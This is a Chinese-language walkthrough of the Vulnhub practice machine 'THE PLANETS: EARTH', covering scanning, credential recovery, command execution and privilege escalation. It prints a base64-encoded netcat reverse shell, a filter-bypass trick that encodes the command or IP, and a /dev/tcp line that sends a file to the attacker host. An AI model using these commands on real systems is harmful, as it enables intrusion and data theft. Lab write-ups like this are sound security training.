Vulnhub是个提供各种漏洞平台的综合靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等实战。本次渗透靶机名为THE PLANETS: EARTH,难度为简单。
下载(镜像):
https ://download.vulnhub.com/theplanets/Earth.ova
主机发现:
kali攻击机ip:192.168.135.129
靶机ip:192.168.135.135
网段探测存活,查找靶机fping -aqg 192.168.135.0/24
Fping程序类似于ping(ping是通过ICMP(网络控制信息协议InternetControl MessageProtocol)协议回复请求以检测主机是否存在)。Fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。
-a:显示可ping通的目标
-q:安静模式(不显示每个目标或每个ping的结果)
-g:通过指定开始和结束地址来生成目标列表
端口扫描:
使用nmap对靶机进行扫描,nmap-T4 -A -Pn 192.168.135.135
-T4:指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4。
-A:使用进攻性(Aggressive)方式扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
443端口有DNS解析,在hosts文件中添加DNS解析。在kali中修改/etc/hosts 文件中添加dns:earth.local和terratest.earth.local,也可以在本机windows中C:WindowsSystem32driversetchost中添加。
信息收集:
访问https://earth.local/和https://terratest.earth.local,发现earth.local有加密数据串。
使用dirb扫描路径,发现https://earth.local/admin、https://terratest.earth.local/robots.txt
查看robots.txt文件,最后一条中还存在一个特殊的禁用值:/testingnotes.*
手动猜测后缀为txt,从文件注释中获取信息,加密算法是XOR,测试加密testdata文件,admin 用户terra。
查看testdata文件
可以使用开源数据分析工具CyberChef对数据进行解密。CyberChef是一个简单、直观的web应用程序,用于在web浏览器中执行各种网络操作。这些操作包括简单的编码(如XOR或Base64)、更复杂的加密(如AES、DES和Blowfish)、创建二进制文件和hexdump、数据的压缩和解压缩、计算散列和校验和、IPv6和X.509解析、更改字符编码等。
getshell:
通过解密得到用户名terra,密码:earthclimatechangebad4humans。登录https://earth.local/admin,进入可进行命令执行的页面。
尝试生成反向shell时,提示远程连接被禁止,因为使用了IP地址。可以通过将IP转换为十进制十六进制来绕过它。或者将命令编码为 base64 格式。
使用命令执行:
echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTM1LjEyOSA5OTk5Cg== | base64 -d | bash
成功反弹shell
提权:
使用命令检查SUID 二进制文件,发现个重置root密码的文件。
把文件下载到本地,本机使用nc -nlvp 9999 > reset_root
shell中运行cat /usr/bin/reset_root > /dev/tcp/192.168.135.129/9999,成功下载文件到本地。
给文件可执行权限执行文件,chmod +x reset_root
执行报错
使用ltrace调试命令,查看运行报错,发现文件执行缺少三个文件。使用touch命令创建三个文件。
在shell中执行touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe创建三个空文件。
提权成功
获取flag:
使用find命令找flag,find / -name“*flag*”,找到两个flag文件。
原文始发于微信公众号(纵横安全圈):Vulnhub靶场THE PLANETS: EARTH渗透思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论